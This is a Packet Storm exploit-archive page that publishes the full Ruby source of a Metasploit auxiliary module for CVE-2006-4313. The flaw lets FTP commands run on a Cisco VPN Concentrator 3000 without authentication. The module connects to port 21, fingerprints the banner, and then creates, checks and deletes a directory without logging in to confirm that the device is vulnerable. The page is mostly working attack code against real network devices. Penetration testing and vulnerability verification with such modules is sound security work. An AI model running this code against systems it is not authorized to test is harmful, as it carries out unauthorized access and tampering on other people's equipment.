exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access

Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
Posted Aug 31, 2024
Authored by Jay Turla | Site metasploit.com

This Metasploit module tests for a logic vulnerability in the Cisco VPN Concentrator 3000 series. It is possible to execute some FTP statements without authentication (CWD, RNFR, MKD, RMD, SIZE, CDUP). It also appears to have some memory leak bugs when working with CWD commands. This Metasploit module simply creates an arbitrary directory, verifies that the directory has been created, then deletes it and verifies deletion to confirm the bug.

tags | exploit, arbitrary, memory leak
systems | cisco
advisories | CVE-2006-4313
SHA-256 | 1cb4470adb0ba4d04a729815cd9fe6ea2d38239005db222491f281375fcd7e4d

Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Deprecated
moved_from 'auxiliary/admin/cisco/vpn_3000_ftp_bypass'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access',
'Description' => %q{
This module tests for a logic vulnerability in the Cisco VPN Concentrator
3000 series. It is possible to execute some FTP statements without authentication
(CWD, RNFR, MKD, RMD, SIZE, CDUP). It also appears to have some memory leak bugs
when working with CWD commands. This module simply creates an arbitrary directory,
verifies that the directory has been created, then deletes it and verifies deletion
to confirm the bug.
},
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE,
'References' => [
[ 'BID', '19680' ],
[ 'CVE', '2006-4313' ],
[ 'OSVDB', '28139' ],
[ 'OSVDB', '28138' ]
],
'DisclosureDate' => '2006-08-23',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
Opt::RPORT(21),
]
)
end

def run
connect
res = sock.get_once
if res && res =~ /220 Session will be terminated after/
print_status('Target appears to be a Cisco VPN Concentrator 3000 series.')

test = Rex::Text.rand_text_alphanumeric(8)

print_status("Attempting to create directory: MKD #{test}")
sock.put("MKD #{test}\r\n")
res = sock.get_once(-1, 5)

if (res =~ /257 MKD command successful\./)
print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
sock.put("SIZE #{test}\r\n")
res = sock.get_once(-1, 5)
if (res =~ /550 Not a regular file/)
print_status("\tServer reports \"not a regular file\". Directory verified.")
print_status("\tAttempting to delete directory: RMD #{test}")
sock.put("RMD #{test}\r\n")
res = sock.get_once(-1, 5)
if (res =~ /250 RMD command successful\./)
print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
sock.put("SIZE #{test}\r\n")
sock.get_once(-1, 5)
print_status("\tDirectory #{test} no longer exists!")
print_status('Target is confirmed as vulnerable!')
end
end
end
else
print_status('Target is either not Cisco or the target has been patched.')
end
disconnect
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close